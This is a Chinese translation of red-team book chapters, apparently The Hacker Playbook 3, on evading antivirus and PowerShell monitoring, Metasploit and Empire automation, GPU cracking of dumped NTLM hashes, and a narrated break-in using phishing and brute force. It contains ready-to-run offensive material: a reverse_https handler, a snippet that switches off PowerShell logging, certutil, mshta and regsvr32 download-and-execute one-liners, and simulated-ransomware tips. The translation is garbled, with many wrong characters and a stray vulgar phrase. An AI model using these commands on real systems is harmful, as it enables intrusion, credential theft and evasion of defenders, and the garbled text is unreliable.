译者注: 什么是 cradle?一个 download cradle(下载 cradle)是一个用于下载和代码实行的单行敕令。日常可以在 maldoc 或 exploit 的末尾看到,实行攻击人命周期中第二阶段的exploit/infection 下载。在某些情况下,比如攻击者运行无文献时,一个下载 cradle 也可以是其他攻击阶段的持久性机制、器具或实行的一部分。参考尊府:Powershell Download Cradles
不使用 PowerShell.exe 实行 PowerShell 剧本你最终在一个宗旨机器上找到了长途代码实行缺点,但是你发现无法运行 PowerShell.exe 或该公司正在监视 PowerShell.exe 的敕令。有哪些选项可以让你的 PowerShell payload 或 C2 代理在该主机系统上运行?
NoPowerShell(NPS)
我可爱 NoPowerShell 或 NPS 的主张。NPS 是一个 Windows 二进制文献,它通过 .Net 实行 PowerShell 剧本,而不是顺利调用 PowerShell.exe。固然现在杀毒软件日常会标记这一丝,但咱们可以使用相通的主张来创建二进制文献,以顺利实行咱们的 PowerShell 坏心软件而无需 PowerShell.exe。Ben0xA 也曾为你提供了源代码 ,因此请放纵尝试对二进制文献进行污染处理以科罚杀毒软件的绕阻挠题。
NPS_Payload( https://github.com/trustedsec/nps_payload )
对 NPS 的另一种实施念念路是 TrustedSec 的一个器具,通过 MSBuild.exe 实行代码。此器具将生成 PowerShell payload 到一个 msbuild_nps.xml 文献中,该文献在调用时实行。此 XML 文献可以通过以下方式调用:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\<path_to_msbuild_nps.xml>SharpPick
SharpPick 是 PowerPick 的一个组件,它是一个很棒的器具,允许你在不调用 PowerShell.exe 二进制文献的情况下调用 PowerShell。在 SharpPick 中,“ RunPS 函数调用 System.Management.Automation 函数在 PowerShell 运行空间内实行剧本,而无需启动 PowerShell 程度。” [ ?p=555 ]
下载 SharpPick 后,你可以使用你的 PowerShell Empire payload 并创建二进制文献。关联如何成立环境和构建 payload 的完整演练,请拜谒:
?p=555 https://bneg.io/2017/07/26/empire-without-powershell-exe/有时咱们可能没办法在主机系统上放一个二进制文献。在这种情况下,咱们可以创建一个类库(DLL 文献),将其放到主机系统上并使用 rundll32.exe runmalicious.dll,EntryPoint 实行。
天然,这些 DLL 文献的创建可以由 Meterpreter 或 Cobalt Strike 自动完成,但是好在咱们可以天真地运行特定的 PowerShell payload,而无需调用 PowerShell.exe。
译者注 译者找到的额外参考尊府:
对于 rundll32.exe 的著述:利用 rundll32.exe 运行 dll 绕过杀毒软件 对于不使用 PowerShell.exe 实行 PowerShell 剧本的著述:PowerShell: Malwares use it without powershell.exe HideMyPSHideMyPS 是一个我几年前写的器具,于今它仍然广受好评。它一直皆只是个 POC 器具,但即使经过这样多年它仍然有用。我遭遇的问题是,现在职何 PowerShell 剧本皆会被杀毒软件检测。举例,如果咱们在带有 Windows Defender 的 Windows 系统上丢下了原生的 Invoke-Mimikatz.ps1,微软杀毒软件将立即启用查杀功能拿获 PowerShell 剧本并发送申饬。这是传统杀毒软件的主要障碍之一,事实是它们日常在坏心软件中寻找相称特定的字符串。因此,我整理了一个小的 Python 剧本,该剧本采取 PowerShell 剧本并对扫数字符串进行污染处理(仅使用少许剧本对其进行测试,因此它远不足出产代码)。
HideMyPS 将找到扫数函数并使用 ROT 对它们进行污染处理,从 PowerShell 剧本中删除扫数扫视,并切分字符串以躲避杀毒软件的静态签名分析检测。对于下一个例子,让咱们使用 Invoke_Mimikatz.ps1 并对其进行污染:
cd /opt/HideMyPS python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]现在,望望原始文献和你创建的新文献之间的区别。首先,你可以看到函数称呼全部污染,变量也曾被改,字符串被分解为两半,何况扫数扫视皆移除了。
你必须记着的一件事是咱们变调了 PowerShell 剧本中的扫数函数称呼。因此,为了调用函数,咱们将不得不回顾咱们的污染文献,望望咱们作念了什么来替换 Invoke-Mimikatz 函数。在这个例子中,Invoke-Mimikatz 更名为 Vaibxr-Zvzvxngm。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 也曾更新到最新版块。
本章总结
作为红队成员或浸透测试工程师,咱们老是在与主机/辘集检测器具玩猫捉老鼠的游戏。这即是为什么领路潜在保护体系的责任机制、编写底层代码以顺利与 Windows API 而不是 shell 敕令进行交互,以及跳出框框进行创造性念念考这些智商口舌常要紧的。如果你的关注点仅限于一些常用器具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些器具是公开的,那么安全厂商很可能会在它们刚出面前候就对其进行逆向何况为它们开发签名。你可以利用当前已有的攻击器具并以某种方式对其进行定制化二次开发,使其不可被这些安全厂商识别。
第8章 特勤组——破解、缺点利用和技巧
本章要点先容了一些我个东说念主发现的对红队和浸透测试皆有用的不同资源。这些资源可能不会在每个模拟入侵行动中皆用到,但对于特定场景或在某一次的案例中可能相称有用。
自动化随着基于启发式(heuristic-based)的端点保护变得越来越完善,咱们的攻击需要变得愈加连忙。咱们日常可以编写坏心软件来躲避杀毒软件和绕过开动检测,但是一朝咱们最先在内存中调用 Mimikatz 或者进行横向出动到其他主机,咱们就会最先触发报警。为了科罚这个问题,我老是告诉红队,咱们的初步试探可以故意让蓝队拿获。因为日常情况下,蓝队在发现咱们使用的默许/基础坏心软件(或者只是进行了眇小的污染)时就会将此视为告成,但咱们的果真目的是了解他们的环境。这是通过咱们的开动 payload 在受害者的机器上自动运行多个侦察剧底本杀青的。鄙人一节中,咱们将先容一些可以使咱们的一些攻击自动化的快速自动运行剧本。
使用 RC 剧本自动化运行 Metasploit对于 Metasploit,咱们可以使用以下方法高效地运行咱们的后浸透利用剧本:
搜索 Metasploit 中扫数的后浸透利用模块: msfconsole show post从夸耀的结果中,遴荐你想要包含的扫数模块,以便在给与到一个 Meterpreter Shell 时自动实行。在这个案例中,咱们将为咱们的攻击添加一个 privilege migrate 后浸透模块。要建立 Meterpreter Shell 以便让它在受攻击主机的开动结合上运行此 payload,咱们需要指定一个 AutoRunScript 参数。你可以根据需要添加尽可能多的 AutoRunScripts 参数来转储(dump)关掂量统和辘集的信息,然后横向出动,以致更多!
创建处理范例 (Handler) 和 AutoRunScript:
创建处理程引言件 gedit handler.rc 建立处理范例和自动运行剧本 use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j 启动处理范例 msfconsole -r handler.rc 自动化运行 EmpireEmpire 具有与 Metasploit 资源文献近似的功能,可以自动完成许多重迭性任务。首先,咱们需要创建一个文献(在咱们的示例中,咱们将创建一个名为 /opt/empire_autoload.rc 的文献)然后在咱们的 Empire 实例中加载它。
在一个单独的结尾窗口中,创建一个处理程引言件:gedit /opt/empire_autoload.rc添加扫数你想要实行的后浸透模块:
usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back在 Empire 中,加载 autoload.rc 资源文献:
agents autorun /opt/empire_autoload.rc powershell autorun show
如你所见,现代理结合时,它会自动运行 get_user 和 get_computer 的 PowerShell 剧本。这些剧本的扫数运行结果皆将存储在 agent.log 文献中。在这种情况下,咱们的代理称呼是 N6LM348G,因此咱们的日记将存储在 /opt/Empire/downloads/N6LM348G/agent.log。
自动化运行 Cobalt StrikeCobalt Strike 如斯坚强的一个主要原因是因为它有 Aggressor 剧本。使用 Cobalt Strike 的 Aggressor 剧本,你不仅可以建立自动运行的剧本,还可以创建相称复杂的攻击。举例,我日常遭遇障碍分享责任站的场景,举例实验室做事器或会议室盒子。我可能就会但愿咱们的代理机器最好能每隔半小时运行 Mimikatz 以获取明证书证。使用 Aggressor 剧本,咱们可以实行扫数这些操作以致更多操作。底下是一个示例剧本: mimikatz-every-30m.cna。
Aggressor 其他剧本麇集:
https://github.com/bluscreenofjeff/AggressorScripts https://github.com/harleyQu1nn/AggressorScripts 自动化的将来临了,有一些很酷的式样正朝着自动化,智能入侵和 APT 攻击的场地发展。我深信入侵行动的将来是朝着自动化的场地发展的,咱们需要自动化地测试和考证咱们的安全控制机制。我认为在发展这种自动化趋势方面具有巨大后劲的两个器具是:
Portia Caldera 密码破解我了解的最新的和最可爱的密码列表之一是来自最近发现的41 GB 大小的密码脱库,它包含14亿的用户名和密码( )。不外,我不想顺利把下载贯穿展示出来,因为它包含许多明锐的用户名(或电子邮件)和联系密码,但你可以搜索 BreachCompilation.tar.bz2 以查找关联它的更多信息。鄙人载这些相称明锐的信息之前,请先稽查你所在国度的法律。我建议你不要下载原始数据,只需下载密码列表即可。我也曾下载了这个41GB 的字典,然后删除了扫数用户名和电子邮件,并整理出了只是密码的数据。位于:?type=THP-password 。
在我的个东说念主机器上,我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡,节略价值12,000好意思元,你也可以构建我方的一个机器,包括机箱、RAM、电源、SSD 和 GPU。天然,机箱至少需要一个4U机架(举例:SYS-4028GR-TR2)何况供应充足的电。固然统统未低廉,但咱们每秒节略能陈列472,000,000,000个哈希值,可以爆破 Windows NTLM(Windows) 哈希。这是八个 GPU 的 hashcat 基准测试:
Hashmode: 1000 - NTLM Speed.Dev.#1…..: 59436.3 MH/s (63.16ms) Speed.Dev.#2…..: 58038.3 MH/s (64.70ms) Speed.Dev.#3…..: 59104.4 MH/s (63.55ms) Speed.Dev.#4…..: 59123.0 MH/s (63.52ms) Speed.Dev.#5…..: 58899.7 MH/s (63.74ms) Speed.Dev.#6…..: 59125.8 MH/s (63.51ms) Speed.Dev.#7…..: 59256.3 MH/s (63.36ms) Speed.Dev.#8…..: 59064.5 MH/s (63.56ms) Speed.Dev.#*…..: 472.0 GH/s
对于那些买不起大型 GPU 开导的东说念主来说,还有其他遴荐。你可以研究在云做事器中进行密码破解的操作,固然仍然不若何低廉。最近,亚马逊也曾集成了 TESLA GPU(不是特斯拉汽车),它们比1080Ti 更坚强。对于如何使用这些 GPU 成立你我方的密码破解做事器,在 Medium 上有一篇很棒的著述:https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。
来自 Iraklis Mathiopoulos 的著述中的数据:
译者注:Iraklis Mathiopoulos 是上头这篇著述的作家。
Hashmode: 1000 - NTLM: Speed.Dev.#1…..: 79294.4 MH/s (33.81ms) Speed.Dev.#2…..: 79376.5 MH/s (33.79ms) Speed.Dev.#3…..: 79135.5 MH/s (33.88ms) Speed.Dev.#4…..: 79051.6 MH/s (33.84ms) Speed.Dev.#5…..: 79030.6 MH/s (33.85ms) Speed.Dev.#6…..: 79395.3 MH/s (33.81ms) Speed.Dev.#7…..: 79079.5 MH/s (33.83ms) Speed.Dev.#8…..: 79350.7 MH/s (33.83ms) Speed.Dev.#*…..: 633.7 GH/s
对于相似的 NTLM 哈希值,使用 TESLA GPU 显卡破解的总速率比使用1080Ti GPU显卡节略快34%。但是运行 AWS 的总资本约为每小时25好意思元。因此,你需要根据我方的预算、需乞降宗旨来遴荐。
实验:
最近,Have I Been Pwned 网站的创举东说念主 Troy Hunt 发布了一个 SHA1 密码哈希列表,压缩之后的体积节略为5.3 GB。这是有史以来的数据流露、脱库中一个相称大的列表了。这是一个测试你密码破解技巧的绝佳素材:
https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z随着这些 GPU 的破解速率变得越来越快,10个字符以下的密码可以在相对合理的期间范围内进行智能化破解。其中一些可以通过使用高质地的密码掩码来破解,但是大多数情况下,主要取决于密码列表自身的复杂程度。破解大于12个字符的密码的最快方法之一即是使用来自于真实数据流露事件的密码列表。回顾往常扫数的数据流露事件,咱们可以很好地了解东说念主类如何创建密码,污染密码的常用技巧以及最常用的单词。使用复杂规则集配合这些密码字典,可以让咱们以极快的速率破解密码(有时卓绝25个字符)。但请记着,你的密码列表取决于你构建和爱戴它的程度。作为红队队员,咱们会如期追踪咱们破解的扫数帐户,对其进行分析并将其添加到咱们的密码字典中。咱们还会络续监控新的数据流露事件,拜谒 pastebin 和 pastie 网站等,以查找更新的密码。此处有一个很好的监控列表:https://inteltechniques.com/OSINT/pastebins.html 。
我最可爱的密码列表:
berzerk0的 Real-Password-WPA 密码列表: 18.6 GB 未压缩 berzerk0 的字典格调的列表: 1 GB 未压缩 Xato 的千万数目的密码 magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB Hashes.org https://hashes.org/left.php 几千兆字节,而且每天皆在增长 Crackstation 15 GB 未压缩 https://crackstation.net/files/crackstation.txt.gz Weakpass(弱密码) 多数的密码列表 https://weakpass.com/wordlist First20Hours 该式样包含按频率法则排列的10,000个最常见的英语单词列表,由 Google 的万亿字词数据库的 n-gram 频率分析肯定。 https://github.com/cyberspacekittens/google-10000-english SkullSecurity.org 优秀的旧密码列表,如 rockyou,myspace,phpbb https://wiki.skullsecurity.org/Passwords Daniel Miessler 的密码编译 https://github.com/cyberspacekittens/SecLists Adeptus-mechanicus 哈希脱库 -mechanicus.com/codex/hashpass/hashpass.php通过优秀的密码列表组合,咱们可以基于列表添加规则来找到更多密码。就 Hashcat 而言,规则会肯定是否需要在词表中进行任何修改和扩张。神态规则的最好方式是使用这一个易于领路的示例。咱们可以使用 KoreLogicRulesAppendYears 规则集,如下所示:
cAz”19[0-9][0-9]” Az”19[0-9][0-9]” cAz”20[01][0-9]” Az”20[01][0-9]”它将在每个密码中添加1949年到2019年的年份字符串。比如,如果密码列表中包含单词 “hacker”,它就会使用 “hacker1949” 来尝试破解哈希值,一直试到 “hacker2019”。请记着,你领有的密码规则越复杂,通过单词列表中的扫数单词破解宗旨所需的期间就越长。
行运的是,咱们不需要创建我方的规则,因为网上也曾有许多很好的规则。天然,还有默许的 Hashcat 规则,它来自许多较旧的数据流露,以及常见的密码破解时代。这是一个很好的开赴点。Kore 规则来自 Korelogic 的密码竞赛,是其圭臬之一。另外的两个规则需要的期间更久,但也有相称详实的规则集,分别是 NSAKEY 和 Hob0Rules。在往常,我会采取扫数的规则,将它们编入单个文献,并对文献去重。但是,现在,NotSoSecure 规则现实上也曾为你作念好了这些责任。
规则:
Hashcat Rules https://github.com/hashcat/hashcat/tree/master/rules Kore Rules -2010.korelogic.com/rules-hashcat.html NSAKEY Rules(我的最爱之一) https://github.com/cyberspacekittens/nsa-rules Praetorian-inc Hob0Rules https://github.com/cyberspacekittens/Hob0Rules NotSoSecure —— 此规则包含上头全部规则 https://github.com/cyberspacekittens/password_cracking_rules注:NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版块。
大黑逼 透彻破解全部 —— 尽可能多地快速破解你现在已有从 Cyber Space Kittens 入侵行动得到的一个很大的密码列表。那么在有限的期间内,若何能得到最好的收益呢?以下演练将率领你完成开动方法来尽可能多地破解密码。固然,咱们日常只需要找到几个域料理员/LDAP 料理员/公司料理员帐户,但我的免强症倾向让我试图破解扫数密码。
在最先之前,你确乎需要了解你的那些哈希值的密码时势。Hashcat 有一个很好的列表,展示不同类型的哈希值的示例。一朝你知说念了是什么类型的哈希算法,最好先进行一些开动测试,以肯定该密码哈希算法的速率是快如故慢。这将对你的密码破解方法有巨大的影响。举例,在稽查 Windows 系统下使用哈希算法时,咱们看到 NTLM(Windows) 实行速率节略为75,000 MH/s。在 Linux下 运行 SHA-256算法的实行速率约为5,000 MH/s。
这意味着对于 SHA-256哈希,你的 GPU 可以每秒破解5,000,000,000次。这可能看起来许多,但是当你有多数的单词列表和很大的规则集时,这个速率可能不够盼愿。这是因为与每秒运算75,000,000,000个哈希值的 NTLM 比较,SHA-256算法的策动速率相称慢且资本高。在咱们的例子中,咱们将负重致远,咱们将使用8个1080TI GPU 并使用 NTLM 的快速哈希转储(dump)功能。
破解 CyberSpaceKittens NTLM 哈希:得到域料理员拜谒权限后,你使用 DCSync 攻击从域控制器转储扫数哈希值。你现在的宗旨是尝试尽可能多地破解哈希。因为你知说念,你将能够在将来的入侵行径中使用这些帐户,并向受害者公司展示他们使用的不安全的密码的作念法。
首先,咱们将扫数 NTLM Windows 哈希保存在一个名为 cat.txt 的文献中。为了使输出结果更易于阅读,咱们将不详开动的 hashcat 实行敕令。每个敕令实行皆将以 hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt 伊始。
这句敕令的趣味为:
hashcat: 运行 hashcat -w 3: 使用治愈的建立文献 -m 1000: 哈希时势是 NTLM -o hashes.cracked: 将结果输出到一个文献中 ./hashes/cat.txt: 咱们的哈希存储的地址因此,每当你看到 [hashcat] 字符串时,请使用此敕令替换它:hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt。现在,让咱们在 8 GPU 1080TI 开导上快速高效地破解 NTLM 哈希。
使用 brute-force(-a 3)的攻击模式破解扫数长度少于等于7个字符的密码。字符可以是任何字母、数字或者特殊字符(?a),启用增量破解模式从一个字符到七个字符进行尝试(--increment)。 [hashcat] -a 3 ?a?a?a?a?a?a?a --increment 对于7个字符(字母/数字/特殊字符)的密码,破解总期间约为5分钟。咱们可以成立为8个字符,但咱们看到成立8字符后,运行了9个小时。 你还可以将特殊字符限定为少数几个(!@ #$ % ^),这能显耀减少期间和复杂性。 接下来,将扫数常见密码列表转储与咱们的哈希值进行比较。第一个文献(40GB_Unique_File.txt)是一个3.2GB 的密码文献,运行节略需要9秒: [hashcat] ./lists/40GB_Unique_File.txt 咱们可以看到,速率快到即使是这样大的文献,运行也只需要几秒钟。为了提高遵循,咱们现实上可以使用 * 运算符并与咱们的 ./lists/ 文献夹中的每个密码列表进行比较。 [hashcat] ./lists/* 接下来,基于哈希算法的速率,咱们可以对单个密码列表文献尝试不同的规则集。咱们将从 RockYou 规则集最先,破解这些 NTLM 哈希值节略需要2分9秒: [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule 珍爱:使用3 GB 文献成立的 NSAKEY 规则节略需要7分钟,使用 NotSoSecure 规则集(组合了其他扫数规则集的规则集)节略需要20分钟。 当我用回其他密码列表和规则集组合时。跟扫数大型规则集和大型密码流露列表的第一次破解比较,咱们日常可以至少提高30%以上的遵循。 接下来,咱们可以最先在密码列表的右侧添加字符,以提高破解更长密码的得胜率。底下看到的 -a 6 敕令会将每个字母/数字/特殊字符添加到密码右侧,从一个字符最先一直到最多四个字符: [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a 珍爱:这需要节略30分钟能力完成四个字符 咱们也可以在密码列表的左侧添加字符。以下敕令将每个字母/数字/特殊字符添加到密码的左侧,从一个字符最先一直到最多四个字符: [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt 珍爱:这需要节略30分钟能力完成四个字符 Hashcat Utils:https://github.com/hashcat/hashcat-utils/releases 。Hashcat 有许多器具可以匡助构建更好的密码列表。一个例子是组合器,它可以采取两个或三个不同的密码列表并进行组合。使用小列表相对较快。使用咱们的 shortKrak 列表并将其与自身相会聚会导致相称快速的破解: ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt 使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文献,因此你必须珍爱你遴荐的文献的大小。 ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt 珍爱:使用一个4MB 文献并运行 combinator 将导致生成体积一个大于25GB 的文献。是以,要当心这些文献的体积大小。 许多时候,东说念主们使用最多的密码不是常见的字典单词,而是基于他们的公司、居品或做事的单词。咱们可以使用客户网站创建自界说密码列表。可以提供匡助的两个器具是: Brutescrape Burp Wordlist Extractor 接下来,使用 PACK (Password Analysis and Cracking Kit) 器具对扫数破解的密码进行分析并创建掩码: python ./PACK-0.0.4/statsgen.py hashes.password python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask译者注:本书作家给出的对于 PACK 的贯穿为: ,但是你只须点了试试就会发现现在这个结合被自动跳转到 PACK 作家的博客了。译文中的 PACK 器具的地址是译者我方在 Github 找到的,因为贯穿变了,是以上头的 python 语句众人根据情况作念出治愈。可以参考该器具的 README,相称详实。
使用新创建的掩码进行密码破解: [hashcat] -a 3 ./custom-optindex.hcmask 使用 Pipal 分析你的密码列表可以更好地领路密码的基本词汇: cd /opt/pipal ./pipal.rb hashes.password 望望这个列表,你可能会发现这家公司使用resetme12345作为默许密码,可能位于密歇根州(列内外有底特律、老虎、足球这些词汇)。那么下一步咱们作念什么?也曾有许多对于不同的密码生成器具、密码分析和其他时代的很好的研究,目的是找到更快的破解密码的方法。若你有风趣,这里给出一些尊府:
PassGAN:使用深度学习方法进行密码破解 快速、精益、准确:使用神经辘集建模的密码可猜测性 具有翻新性的的入侵行动作为公司的里面红队可以有契机参加具有翻新性的的入侵行动。我最可爱的行动之一是模拟欺诈软件。在往常,咱们被允许在 WannaCry 大面积爆发的时期进行模拟欺诈软件行动。随着加密软件和欺诈软件越来越受迎接,咱们确乎需要有智商测试咱们的业务规复和遭难规复范例。咱们在现实生存中见证了这一丝,WannaCry 通过 SMB 进行横向出动,利用 EternalBlue ,加密文献等攻击,以致删除了主机系统上的扫数备份。作为一个 IT 组织,咱们需要问我方的问题是,如果咱们的某个用户点击了该坏心软件,会产生什么影响?咱们可以规复用户文献、分享文献、数据库等东西吗?咱们一直听到的谜底是,“我认为可以......”,但如果莫得红队提前考证的过程,咱们最终会比及咱们的屋子被烧成灰后才知说念是不是真的可以。
这即是为什么我可爱公司里面进行红队评估的原因。咱们可以在受控环境中果真解说并考证安全性和 IT 是否正常运行。对于这本书,我莫得列举任何咱们的欺诈软件的例子,因为这样作念很危境。我将让你负责构建器具并以批准的方法测试你的客户。
模拟欺诈软件行动教唆:
有些公司现实上不会让入侵者删除或加密文献。对于这些公司,你可以进行模拟欺诈软件攻击。一朝坏心软件被实行,它所作念的即是扫描主机和辘集中的要紧文献,将每个文献读入内存,实行随机字节交换,将这些字节发送到 C2 做事器,并包含元数据。这将展示出你能够操作的文献数目,在检测到流量之前可以从辘集中浸透出的数据量以及可以规复的文献数目。 稽查其他欺诈软件样本以稽查他们正在加密的文献类型。这可以创造一个更接近现实的行动。举例,稽查 WannaCry 中的文献类型( https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 )。 如果你要 “加密” 坏心软件,请使用简单的方法。它可以是带有密钥的圭臬 AES,一个全球或专有的 x509 证书,或某种按位异或。制作它越复杂,无法例复文献的可能性就越大。 测试、测试和测试。你可以预感的最糟糕的事情是让宗旨公司无法例复环节文献,何况你的解密过程还不起作用。 许多下一代杀毒软件基于链中的某些动作会自动阻滞欺诈软件。举例,欺诈软件可能实行的正常检测是:扫描系统中扫数类型为 X 的文献,加密 X 文献,删除磁盘中的副本以及禁用备份。想要绕过检测过程的话,要么放慢欺诈软件的行径进程,要么通过不同的进程达到相通的目的。 禁用 PowerShell 记载作为红队队员,咱们一直在寻找特殊的方法来尝试和禁用任何类型的日记记载。固然现在也有办法实行这些攻击,但咱们仍在络续寻找新的更简单的时代。
以下是一个 leechristensen 写的示例,可用于禁用 PowerShell 日记记载:
$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider); 从敕令行结合辘集下载 Windows 文献如果你通过应用范例缺点得到了敕令实行,又或者是通过 Office 或 PDF 文献获取了 shell,那么接下来的方法可能是下载并实行你的辅助坏心软件。
对于这些情况,咱们可以利用 Windows 的一些本性来完成任务。大多数这些例子来自 arno0x0x 和 @subtee 的不凡的研究后果( https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code )。
mshta vbscript:Close(Execute(“GetObject(““script: ””)”)) mshta rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:");window.close(); regsvr32 /u /n /s /i: scrobj.dll certutil -urlcache -split -f payload certutil -urlcache -split -f payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe这些只是其中几个例子,还有更多通过敕令行来实行辅助代码的方法。你还可以陆续研究,望望是否还有其他时代可以用来从传统的日记记载中归隐踪迹。
从土产货料理员权限到系统权限从土产货料理员帐户权限提高到 System 权限可以通过多种方式完成。天然,最常见的方法是使用 Metasploit 的 getsystem,但这并不老是可行的。decoder-it 创建了一个相称棒的 PowerShell 剧本,通过创建一个新程度并将该新程度的父程度 PID 成立为 System 所领有,从而让土产货料理员权限的 PowerShell 教唆符转到 System 权限。可以在此处找到此 PowerShell 剧本。
实行以下操作:
PS> . .\psgetsys.ps1 PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>) 在不触及 LSASS 的情况下检索 NTLM 哈希值Elad Shamir 对怎样在不合 lsass.exe 程度进行操作的情况下抓取 NTLM 哈希进行了平庸的研究。在这种攻击之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限定。Elad 开发了一种称为 Internal Monologue Attack 的攻击,它实行以下操作:
如上所述,通过将 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 变调为安妥的值来禁用 NetNTLMv1 的防止性控制。 从当前正在运行的程度中检索扫数非辘集登录令牌并模拟关联的用户。 对于每个模拟用户,得到正在运行的用户 token,模拟用户同 NTLM SSP 进行交互,控制 Challenge 为固定值,导出复返的 Net-NTLMv1 响应。 规复 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 的原始值。 [https://github.com/eladshamir/Internal-Monologue]译者注 参考尊府:Windows 下的密码 hash——Net-NTLMv1 先容
使用驻守器具构建教练和监控的实验环境测试咱们的坏心软件的一个很大挑战是咱们需要建立一个快速测试的环境。Chris Long 构建的一个名为 Detection Lab 的坚强器具是 Packer 和 Vagrant 剧本的书册,可让你快速将 Windows Active Directory 部署上线。该器具包含一系列端点安全和日记记载的最好实践器具。Detection Lab 由四个主机构成(https://medium.com/@clong/introducing-detection-lab-61db34bed6ae ):
DC:一个 Windows 2016域控制器 WEF:料理 Windows 事件麇集(Windows Event Collection)的 Windows 2016做事器 Win10:模拟非做事器端点的 Windows 10主机 Logger:运行 Splunk 和一个 Fleet 做事器的 Ubuntu 16.04主机 本章总结对于红队来说,窍门和技巧是咱们入侵艺术的一部分。咱们必须络续研究攻击用户、攻陷系统和走避检测的更好方法。这可莫得捷径,需要数小时到数年的熟练、汗水和眼泪。
第9章 两分钟的教练——从零到英豪随着期间的推移,直到测试的临了一天你皆还莫得从宗旨外部辘集取得比较好的突破。因为你需要进入宗旨内网,了解他们公司的辘集布局,得到一些明锐文献或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司天际筹备的联系尊府,此时你嗅觉压力很大。你的任务是窃取最新的天际筹备联系的绝密信息何况不可失败...现在是两分钟操练的时候了。只剩一丝点期间了,你需要从10码线最先运球,突破扫数的辞谢保护,扫清路上的阻碍,最终把球带到90码线安全着陆。
10码线你重新翻阅我方之前作念的条记,找出我方可能遗漏的一些信息。你的眼睛聚焦在一个网页屏幕截图...这是一个 CSK(Cyber Space Kittens)的论坛网站。你暂时没法找到这个网站范例的缺点,但是你珍爱到这个 CSK 论坛网站是给 CSK 里面职工和普通用户共同使用的,用于发布他们天际式样联系的问题、批驳和其他事情。
你在网站上汇集那些看上去是属于公司职工的账户。然后你根据账户名提真金不怕火信息制作比较靠谱的密码表(可能使用的密码)。你使用常用密码及其变体对扫数这些账户进行密码爆破尝试。你看到你的 python 剧本正在圣洁的输出… 失败 … 失败 … 失败 … 密码已找到 ! 当你看到一个名为 Chris Catfield 的用户使用了 Summer2018! 这个密码时会心一笑。这个比你意象的要简单的多。接下来,你使用 Chris 的凭证登录论坛,查阅他的私信和帖子,找出那些能匡助更好的开展下一步行动的信息。你发现 Chris 日常与论坛上的另一位里面职工 Neil Pawstrong 酌量天际式样。看起来他们不是现实中的一又友,但他们有很融洽的协同责任关系。这对你开展受信任的垂钓攻击相称有意。这两个用户之间也曾建立了融洽的关系,是以如果你使用 Chris 的帐号发垂钓邮件给 Neil,得胜的可能性将会很大。
20码线你在纠结要不要顺利向 Neil 发送坏心的 payload,但是那样太显豁了。于是你向他发送了一个你刚搭建好的一个带有猫猫相片的网站的贯穿,“嘿,Neil,我知说念你可爱猫!望望我作念的这个页面吧!”
几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我可爱这个天际猫啦!”Neil 莫得意志到他拜谒的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 里面辘集,何况危及未经身份考证的 Jenkins 和 Tomcat Web 做事器。几秒钟之后,你得到了一个弹回首的 Empire 的 shell,你终于松了连气儿。
30码线当你凯旋撕开宗旨的一说念口子,你意志到 CSK 的辘集驻守部门重新成立防火墙建立、DNS 建立和进行主机屏蔽只是期间问题,是以你需要快速出动。行运的是,你也曾建立了一些自动化的范例和剧底本处理那些繁琐的责任。受感染的主机也曾激活 beacon 何况最先运行 Bloodhound 等器具,查找土产货存储的密码联系文献,成立注册表的值来使 Mimikatz 器具能够拿获 LSASS 程度存储的密码,运行 SPN(Kerberos 处当事人体称呼)并转储扫数 Kerberos 票证,天然还可以在筹备任务中作念一些持久化浸透的成立。
